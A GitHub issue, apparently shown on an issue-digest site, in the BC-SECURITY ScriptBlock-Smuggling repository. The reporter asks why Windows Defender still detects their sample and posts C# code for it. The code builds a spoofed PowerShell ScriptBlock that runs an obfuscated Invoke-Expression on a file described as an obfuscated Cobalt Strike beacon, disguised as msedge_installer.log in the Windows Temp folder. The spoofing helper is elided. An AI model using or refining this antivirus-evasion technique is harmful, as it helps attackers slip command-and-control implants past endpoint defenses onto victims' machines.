BC-SECURITY / BC-SECURITY/ScriptBlock-Smuggling

Still be detected by wdfdr...

Open
#2 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C#
Stars
96
Forks
13
PR merge metrics
No merged PRs in 30d

Description

A very nice anti-detection idea, however my sample still can be detected by Windows Defender, here is the demo code:

```csharp
...
namespace ScriptSmuggling
{
public class Program
{
public static void Main()
{
// the msedge_installer.log is an obfuscated cobaltstrike beacon file (.ps1). it can be execute by iex
string script = @". ($pShOmE[4]+$PsHoMe[34]+'X') (cat C:\Windows\Temp\msedge_installer.log)";
ScriptBlock sb = BuildSpoofedBlock(script);
// Setup PowerShell runspace
using (Runspace runSpace = RunspaceFactory.CreateRunspace())
{
runSpace.Open();
using (PowerShell ps = PowerShell.Create())
{
ps.Runspace = runSpace;

ps.AddCommand("Invoke-Command")
.AddParameter("ScriptBlock", sb);

Collection results = ps.Invoke();
foreach (PSObject result in results)
{
Console.WriteLine(result);
}

// Display any errors from the error stream
foreach (ErrorRecord error in ps.Streams.Error)
{
Console.WriteLine("ERROR: " + error);
}
}
}
}

public static ScriptBlock BuildSpoofedBlock(string content)
{
...
}
}
}
```

Maybe the `executableAst` is still be check by wdfdr?

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.